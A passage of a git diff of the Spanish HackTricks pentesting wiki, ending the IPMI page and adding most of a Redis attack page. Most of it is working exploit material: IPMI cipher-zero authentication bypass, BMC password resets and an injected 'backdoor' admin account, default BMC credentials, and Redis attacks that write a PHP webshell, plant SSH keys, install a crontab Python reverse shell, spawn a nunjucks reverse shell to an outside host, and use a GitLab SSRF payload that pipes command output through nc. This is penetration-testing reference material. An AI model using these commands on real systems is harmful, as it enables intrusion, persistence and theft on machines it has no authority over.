use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||||
```
|
||||
Y puedes **abusar** de este problema con `ipmitool`:
|
||||
```bash
|
||||
apt-get install ipmitool #Install
|
||||
#Using -C 0 any password is accepted
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list #Use Cipher 0 to dump a list of users
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
2 root true true true ADMINISTRATOR
|
||||
3 Oper1 true true true ADMINISTRATOR
|
||||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 #Change the password of root
|
||||
```
|
||||
### Vulnerabilidad - Recuperación remota de hash de contraseña de autenticación RAKP de IPMI 2.0
|
||||
|
||||
Básicamente, **puedes solicitar al servidor la sal y el hash MD5 y SHA1 de cualquier nombre de usuario y si el nombre de usuario existe, se enviarán de vuelta esos hashes.** Sí, tan increíble como suena. Y hay un **módulo de Metasploit** para probar esto (puedes seleccionar el formato de salida en John o Hashcat):
|
||||
```bash
|
||||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||||
```
|
||||
_Nota que para esto solo necesitas una lista de nombres de usuario para hacer fuerza bruta (metasploit ya contiene una por defecto)._
|
||||
|
||||
Usando `ipmitool` para saltar la autenticación (`-c 0`) y cambiar la contraseña de root a abc123:
|
||||
```
|
||||
root@kali:~# apt-get install ipmitool
|
||||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
2 root true true true ADMINISTRATOR
|
||||
3 Oper1 true true true ADMINISTRATOR
|
||||
root@kali:~# ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123
|
||||
```
|
||||
### Vulnerabilidad - Autenticación Anónima IPMI
|
||||
|
||||
Además de los problemas de autenticación mencionados anteriormente, Dan Farmer señaló que **muchos BMC vienen con acceso "anónimo" habilitado por defecto**. Esto se configura estableciendo el nombre de usuario de la primera cuenta de **usuario** en una **cadena nula** y **estableciendo** una **contraseña nula** para que coincida. El módulo _ipmi\_dumphashes_ identificará y volcará las contraseñas (incluyendo contraseñas en blanco) para cuentas de usuario nulas. **Esta cuenta puede ser difícil de usar por sí sola, pero podemos aprovechar `ipmitool` para restablecer la contraseña de una cuenta de usuario nombrada** y aprovechar esa cuenta para acceder a otros servicios:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
1 false false true ADMINISTRATOR
|
||||
2 root false false true ADMINISTRATOR
|
||||
3 admin true true true ADMINISTRATOR
|
||||
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword #Change the password of the user 2 (root) to "newpassword"
|
||||
```
|
||||
### Vulnerabilidad - Contraseñas en texto claro de IPMI de Supermicro
|
||||
|
||||
La especificación IPMI 2.0 exige que el BMC responda a los métodos de autenticación basados en HMAC como SHA1 y MD5. Este proceso de autenticación tiene algunas debilidades graves, como se ha demostrado en ejemplos anteriores, pero también **requiere acceso a la contraseña en texto claro para calcular el hash de autenticación**. Esto significa que el BMC debe almacenar una **versión en texto claro** de todas las contraseñas de usuario configuradas en algún lugar de **almacenamiento no volátil**. En el caso de **Supermicro**, esta ubicación cambia entre las versiones del firmware, pero es **`/nv/PSBlock`** o **`/nv/PSStore`**. Las contraseñas están dispersas entre varios bloques binarios, pero son fáciles de identificar ya que siempre siguen al nombre de usuario. Este es un problema grave para cualquier organización que use contraseñas compartidas entre BMCs o incluso diferentes tipos de dispositivos.
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
admin ADMINpassword^TT rootOtherPassword!
|
||||
```
|
||||
### Vulnerabilidad - Supermicro IPMI UPnP
|
||||
|
||||
Supermicro incluye un **escucha UPnP SSDP en ejecución en el puerto UDP 1900** en el firmware IPMI de muchas de sus placas base recientes. En versiones anteriores a SMT\_X9\_218, este servicio ejecutaba el SDK de Intel para Dispositivos UPnP, versión 1.3.1. Esta versión es vulnerable a [los problemas que Rapid7 reveló](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) en febrero de 2013, y un exploit para esta plataforma es parte del Metasploit Framework. Lo interesante de este ataque es que **proporciona acceso root completo al BMC**, algo que de otra manera es difícil de obtener. Tenga en cuenta que un atacante con acceso administrativo, ya sea a través de la red o desde una shell root en el sistema host, puede degradar el firmware de un BMC de Supermicro a una versión vulnerable y luego explotarlo. Una vez que se **obtiene** el acceso **root**, es posible **leer credenciales en texto claro** desde el sistema de archivos, **instalar** software adicional e integrar **puertas traseras** permanentes en el BMC que sobrevivirían a una reinstalación completa del sistema operativo del host.
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### Fuerza Bruta
|
||||
|
||||
Tenga en cuenta que solo HP aleatoriza la contraseña durante el proceso de fabricación.
|
||||
|
||||
| Nombre del producto | Nombre de usuario predeterminado | Contraseña predeterminada |
|
||||
| ---------------------------------------------------- | -------------------------------- | ------------------------------------------------ |
|
||||
| **HP Integrated Lights Out (iLO)** | Administrador | \<cadena aleatoria de 8 caracteres de fábrica> |
|
||||
| **Dell Remote Access Card (iDRAC, DRAC)** | root | calvin |
|
||||
| **IBM Integrated Management Module (IMM)** | USERID | PASSW0RD (con un cero) |
|
||||
| **Fujitsu Integrated Remote Management Controller** | admin | admin |
|
||||
| **Supermicro IPMI (2.0)** | ADMIN | ADMIN |
|
||||
| **Oracle/Sun Integrated Lights Out Manager (ILOM)** | root | changeme |
|
||||
| **ASUS iKVM BMC** | admin | admin |
|
||||
|
||||
## Explotando el Host desde el BMC
|
||||
|
||||
Una vez que se obtiene acceso administrativo al BMC, hay varios métodos disponibles que se pueden utilizar para obtener acceso al sistema operativo del host. El camino más directo es abusar de la funcionalidad KVM del BMC y reiniciar el host a una shell de root (init=/bin/sh en GRUB) o especificar un disco de rescate como una unidad de CD-ROM virtual y arrancar desde allí. Una vez que se obtiene acceso sin procesar al disco del host, es trivial introducir una puerta trasera, copiar datos del disco duro o hacer cualquier cosa que necesite hacerse como parte de la evaluación de seguridad. La gran desventaja, por supuesto, es que el host debe reiniciarse para usar este método. Obtener acceso al host en ejecución es mucho más complicado y depende de lo que esté ejecutando el host. Si la consola física del host se deja iniciada, se vuelve trivial secuestrarla usando la funcionalidad KVM incorporada. Lo mismo se aplica a las consolas serie: si el puerto serie está conectado a una sesión autenticada, el BMC puede permitir que este puerto sea secuestrado usando la interfaz ipmitool para serie-over-LAN (sol). Un camino que aún necesita más investigación es abusar del acceso a hardware compartido, como el bus i2c y el chip Super I/O.
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_bios.png)
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi\_boot.png)
|
||||
|
||||
![](<../.gitbook/assets/image (202) (2).png>)
|
||||
|
||||
## Explotando el BMC desde el Host
|
||||
|
||||
En situaciones en las que se ha comprometido un host con un BMC, se puede utilizar la **interfaz local del BMC para introducir una cuenta de usuario de puerta trasera**, y desde allí establecer un punto de apoyo permanente en el servidor. Este ataque requiere que **`ipmitool`** esté instalado en el host y que se haya habilitado el soporte del controlador para el BMC. El siguiente ejemplo demuestra cómo se puede utilizar la interfaz local en el host, que no requiere autenticación, para inyectar una nueva cuenta de usuario en el BMC. Este método es universal en objetivos de Linux, Windows, BSD e incluso DOS.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
2 ADMIN true false false Unknown (0x00)
|
||||
3 root true false false Unknown (0x00)
|
||||
|
||||
ipmitool user set name 4 backdoor
|
||||
ipmitool user set password 4 backdoor
|
||||
ipmitool user priv 4 4
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
2 ADMIN true false false Unknown (0x00)
|
||||
3 root true false false Unknown (0x00)
|
||||
4 backdoor true false true ADMINISTRATOR
|
||||
```
|
||||
## Shodan
|
||||
|
||||
* `port:623`
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/guia-de-un-pen-tester-para-ipmi/](https://blog.rapid7.com/2013/07/02/guia-de-un-pen-tester-para-ipmi/)
|
||||
* [https://academy.hackthebox.com/module/112/section/1245](https://academy.hackthebox.com/module/112/section/1245)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
315
network-services-pentesting/6379-pentesting-redis.md
Normal file
315
network-services-pentesting/6379-pentesting-redis.md
Normal file
|
@ -0,0 +1,315 @@
|
|||
# 6379 - Pentesting Redis
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Información básica
|
||||
|
||||
Redis es una tienda de estructuras de datos en memoria de código abierto (con licencia BSD), utilizada como base de datos, caché y broker de mensajes (de [aquí](https://redis.io/topics/introduction)). Por defecto y comúnmente Redis utiliza un protocolo basado en texto plano, pero debes tener en cuenta que también puede implementar **ssl/tls**. Aprende cómo [ejecutar Redis con ssl/tls aquí](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
**Puerto predeterminado:** 6379
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
6379/tcp open redis Redis key-value store 4.0.9
|
||||
```
|
||||
## Enumeración Automática
|
||||
|
||||
Algunas herramientas automatizadas que pueden ayudar a obtener información de una instancia de Redis son:
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
```
|
||||
## Enumeración manual
|
||||
|
||||
### Banner
|
||||
|
||||
Redis es un **protocolo basado en texto**, puedes simplemente **enviar el comando en un socket** y los valores devueltos serán legibles. También recuerda que Redis puede ejecutarse utilizando **ssl/tls** (pero esto es muy raro).
|
||||
|
||||
En una instancia regular de Redis, puedes simplemente conectarte usando `nc` o también puedes usar `redis-cli`:
|
||||
```bash
|
||||
nc -vn 10.10.10.10 6379
|
||||
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
El **primer comando** que podrías probar es **`info`**. Puede **devolver una salida con información** de la instancia de Redis **o algo** como lo siguiente es devuelto:
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
En este último caso, esto significa que **necesitas credenciales válidas** para acceder a la instancia de Redis.
|
||||
|
||||
### Autenticación de Redis
|
||||
|
||||
**Por defecto**, Redis se puede acceder **sin credenciales**. Sin embargo, se puede **configurar** para admitir **solo contraseña o usuario + contraseña**.\
|
||||
Es posible **establecer una contraseña** en el archivo _**redis.conf**_ con el parámetro `requirepass` **o temporalmente** hasta que se reinicie el servicio conectándose a él y ejecutando: `config set requirepass p@ss$12E45`.\
|
||||
Además, se puede configurar un **nombre de usuario** en el parámetro `masteruser` dentro del archivo _**redis.conf**_.
|
||||
|
||||
{% hint style="info" %}
|
||||
Si solo se configura la contraseña, el nombre de usuario utilizado es "**default**".\
|
||||
Además, tenga en cuenta que no hay **forma de encontrar externamente** si Redis se configuró solo con contraseña o usuario + contraseña.
|
||||
{% endhint %}
|
||||
|
||||
En casos como este, necesitarás **encontrar credenciales válidas** para interactuar con Redis, por lo que podrías intentar [**ataques de fuerza bruta**](../generic-methodologies-and-resources/brute-force.md#redis).\
|
||||
**En caso de encontrar credenciales válidas, necesitarás autenticar la sesión** después de establecer la conexión con el comando:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
```
|
||||
Las **credenciales válidas** serán respondidas con: `+OK`
|
||||
|
||||
### **Enumeración autenticada**
|
||||
|
||||
Si la instancia de Redis está aceptando conexiones **anónimas** o encontraste algunas **credenciales válidas**, puedes **comenzar a enumerar** el servicio con los siguientes comandos:
|
||||
```bash
|
||||
INFO
|
||||
[ ... Redis response with info ... ]
|
||||
client list
|
||||
[ ... Redis response with connected clients ... ]
|
||||
CONFIG GET *
|
||||
[ ... Get config ... ]
|
||||
```
|
||||
**Otros comandos Redis** [**se pueden encontrar aquí**](https://redis.io/topics/data-types-intro) **y** [**aquí**](https://lzone.de/cheat-sheet/Redis)**.**\
|
||||
Tenga en cuenta que los **comandos Redis de una instancia se pueden renombrar** o eliminar en el archivo _redis.conf_. Por ejemplo, esta línea eliminará el comando FLUSHDB:
|
||||
```
|
||||
rename-command FLUSHDB ""
|
||||
```
|
||||
Más información sobre cómo configurar de manera segura un servicio Redis aquí: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
También puedes **monitorizar en tiempo real los comandos Redis** ejecutados con el comando **`monitor`** o obtener las **25 consultas más lentas** con **`slowlog get 25`**
|
||||
|
||||
Encuentra más información interesante sobre más comandos Redis aquí: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
### **Volcado de base de datos**
|
||||
|
||||
Dentro de Redis, las **bases de datos son números que comienzan desde 0**. Puedes encontrar si alguna está en uso en la salida del comando `info` dentro del fragmento "Keyspace":
|
||||
|
||||
![](<../.gitbook/assets/image (315).png>)
|
||||
|
||||
O simplemente puedes obtener todos los **keyspaces** (bases de datos) con:
|
||||
```
|
||||
INFO keyspace
|
||||
```
|
||||
En ese ejemplo se están utilizando las **bases de datos 0 y 1**. **La base de datos 0 contiene 4 claves y la base de datos 1 contiene 1**. Por defecto, Redis utilizará la base de datos 0. Para hacer un volcado de la base de datos 1, por ejemplo, debes hacer lo siguiente:
|
||||
```bash
|
||||
SELECT 1
|
||||
[ ... Indicate the database ... ]
|
||||
KEYS *
|
||||
[ ... Get Keys ... ]
|
||||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
En caso de que obtenga el siguiente error `-WRONGTYPE Operación contra una clave que contiene un tipo de valor incorrecto` mientras ejecuta `GET <KEY>`, es porque la clave puede ser algo distinto a una cadena o un entero y requiere un operador especial para mostrarla.
|
||||
|
||||
Para conocer el tipo de la clave, use el comando `TYPE`, como se muestra en el siguiente ejemplo para claves de lista y hash.
|
||||
```
|
||||
TYPE <KEY>
|
||||
[ ... Type of the Key ... ]
|
||||
LRANGE <KEY> 0 -1
|
||||
[ ... Get list items ... ]
|
||||
HGET <KEY> <FIELD>
|
||||
[ ... Get hash item ... ]
|
||||
```
|
||||
**Volcar la base de datos con npm** [**redis-dump**](https://www.npmjs.com/package/redis-dump) **o python** [**redis-utils**](https://pypi.org/project/redis-utils/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Redis RCE
|
||||
|
||||
### Shell Interactivo
|
||||
|
||||
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server) puede obtener automáticamente un shell interactivo o un shell inverso en Redis (<=5.0.5).
|
||||
```
|
||||
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
|
||||
```
|
||||
### Webshell de PHP
|
||||
|
||||
Información obtenida de [**aquí**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Debe conocer la **ruta** de la **carpeta del sitio web**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
OK
|
||||
10.85.0.52:6379> config set dbfilename redis.php
|
||||
OK
|
||||
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
|
||||
OK
|
||||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
Si la excepción de acceso a la webshell ocurre, puedes vaciar la base de datos después de hacer una copia de seguridad e intentarlo de nuevo, recuerda restaurar la base de datos.
|
||||
|
||||
### Plantilla Webshell
|
||||
|
||||
Como en la sección anterior, también puedes sobrescribir algún archivo de plantilla HTML que será interpretado por un motor de plantillas y obtener una shell.
|
||||
|
||||
Por ejemplo, siguiendo [**este artículo**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), puedes ver que el atacante inyectó una **shell inversa en un archivo HTML** interpretado por el **motor de plantillas nunjucks:**
|
||||
```javascript
|
||||
{{ ({}).constructor.constructor(
|
||||
"var net = global.process.mainModule.require('net'),
|
||||
cp = global.process.mainModule.require('child_process'),
|
||||
sh = cp.spawn('sh', []);
|
||||
var client = new net.Socket();
|
||||
client.connect(1234, 'my-server.com', function(){
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
});"
|
||||
)()}}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que **varios motores de plantillas cachéan** las plantillas en **memoria**, por lo que incluso si las sobrescribes, la nueva no se **ejecutará**. En estos casos, o bien el desarrollador dejó activada la recarga automática o necesitas hacer un DoS en el servicio (y esperar a que se reinicie automáticamente).
|
||||
{% endhint %}
|
||||
|
||||
### SSH
|
||||
|
||||
Ten en cuenta que el resultado de **`config get dir`** puede cambiar después de otros comandos de explotación manual. Se sugiere ejecutarlo primero justo después de iniciar sesión en Redis. En la salida de **`config get dir`** puedes encontrar el **directorio raíz** del usuario **redis** (generalmente _/var/lib/redis_ o _/home/redis/.ssh_), y sabiendo esto sabes dónde puedes escribir el archivo `authenticated_users` para acceder vía ssh **con el usuario redis**. Si conoces el directorio raíz de otro usuario válido donde tengas permisos de escritura, también puedes abusar de él:
|
||||
|
||||
1. Genera un par de claves pública-privada ssh en tu PC: **`ssh-keygen -t rsa`**
|
||||
2. Escribe la clave pública en un archivo: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
3. Importa el archivo en redis: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
|
||||
4. Guarda la clave pública en el archivo **authorized\_keys** en el servidor redis:
|
||||
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
|
||||
OK
|
||||
10.85.0.52:6379> config set dbfilename "authorized_keys"
|
||||
OK
|
||||
10.85.0.52:6379> save
|
||||
OK
|
||||
```
|
||||
5. Finalmente, puedes **ssh** al **servidor redis** con la clave privada: **ssh -i id\_rsa redis@10.85.0.52**
|
||||
|
||||
**Esta técnica está automatizada aquí:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
OK
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
|
||||
OK
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
|
||||
OK
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52 save
|
||||
OK
|
||||
```
|
||||
El último ejemplo es para Ubuntu, para **Centos**, el comando anterior debería ser: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
|
||||
|
||||
Este método también se puede utilizar para ganar bitcoin: [yam](https://www.v2ex.com/t/286981#reply14)
|
||||
|
||||
### Cargar módulo Redis
|
||||
|
||||
1. Siguiendo las instrucciones de [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) puedes **compilar un módulo Redis para ejecutar comandos arbitrarios**.
|
||||
2. Luego necesitas alguna forma de **subir el módulo compilado**
|
||||
3. **Cargar el módulo subido** en tiempo de ejecución con `MODULE LOAD /path/to/mymodule.so`
|
||||
4. **Listar los módulos cargados** para comprobar que se cargó correctamente: `MODULE LIST`
|
||||
5. **Ejecutar comandos**:
|
||||
|
||||
```
|
||||
127.0.0.1:6379> system.exec "id"
|
||||
"uid=0(root) gid=0(root) groups=0(root)\n"
|
||||
127.0.0.1:6379> system.exec "whoami"
|
||||
"root\n"
|
||||
127.0.0.1:6379> system.rev 127.0.0.1 9999
|
||||
```
|
||||
6. Descargar el módulo cuando quieras: `MODULE UNLOAD mymodule`
|
||||
|
||||
### Bypass del sandbox LUA
|
||||
|
||||
[**Aquí**](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html) puedes ver que Redis utiliza el comando **EVAL** para ejecutar **código Lua en un sandbox**. En el post vinculado puedes ver **cómo abusarlo** usando la función **dofile**, pero [aparentemente](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) esto ya no es posible. De todos modos, si puedes **burlar el sandbox** de Lua, podrías **ejecutar comandos arbitrarios** en el sistema. Además, en el mismo post puedes ver algunas **opciones para causar DoS**.
|
||||
|
||||
Algunos **CVEs para escapar de LUA**:
|
||||
|
||||
* [https://github.com/aodsec/CVE-2022-0543](https://github.com/aodsec/CVE-2022-0543)
|
||||
|
||||
### Módulo Maestro-Esclavo
|
||||
|
||||
En Redis, todas las operaciones del maestro se sincronizan automáticamente con el esclavo, lo que significa que podemos considerar la vulnerabilidad de Redis como un esclavo de Redis, conectado al maestro de Redis que controlamos, y luego podemos ingresar el comando en nuestro propio Redis.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
A master-slave connection will be established from the slave redis and the master redis:
|
||||
redis-cli -h 10.85.0.52 -p 6379
|
||||
slaveof 10.85.0.51 6379
|
||||
Then you can login to the master redis to control the slave redis:
|
||||
redis-cli -h 10.85.0.51 -p 6379
|
||||
set mykey hello
|
||||
set mykey2 helloworld
|
||||
```
|
||||
## Hablando con Redis a través de SSRF
|
||||
|
||||
Si puedes enviar una solicitud en **texto claro** a **Redis**, puedes **comunicarte con él** ya que Redis leerá línea por línea la solicitud y simplemente responderá con errores a las líneas que no entienda:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
-ERR unknown command 'Accept:'
|
||||
-ERR unknown command 'Accept-Encoding:'
|
||||
-ERR unknown command 'Via:'
|
||||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
Por lo tanto, si encuentra una vulnerabilidad **SSRF** en un sitio web y puede **controlar** algunos **encabezados** (tal vez con una vulnerabilidad **CRLF**) o **parámetros POST**, podrá enviar comandos arbitrarios a Redis.
|
||||
|
||||
### Ejemplo: Gitlab SSRF + CRLF a Shell
|
||||
|
||||
En **Gitlab11.4.7** se descubrió una vulnerabilidad **SSRF** y una **CRLF**. La vulnerabilidad **SSRF** estaba en la funcionalidad de **importación de proyectos desde una URL** al crear un nuevo proyecto y permitía acceder a IPs arbitrarias en la forma \[0:0:0:0:0:ffff:127.0.0.1] (esto accederá a 127.0.0.1), y la vulnerabilidad **CRLF** se explotó simplemente agregando caracteres **%0D%0A** a la **URL**.
|
||||
|
||||
Por lo tanto, fue posible **abusar de estas vulnerabilidades para hablar con la instancia Redis** que **administra colas** desde **gitlab** y abusar de esas colas para **obtener la ejecución de código**. La carga útil de abuso de la cola Redis es:
|
||||
```
|
||||
multi
|
||||
sadd resque:gitlab:queues system_hook_push
|
||||
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
|
||||
exec
|
||||
```
|
||||
Y la solicitud de codificación de URL que abusa de SSRF y CRLF para ejecutar un `whoami` y enviar la salida a través de `nc` es:
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Por alguna razón (como para el autor de_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _de donde se tomó esta información) la explotación funcionó con el esquema `git` y no con el esquema `http`._
|
||||
|
||||
\_\_
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
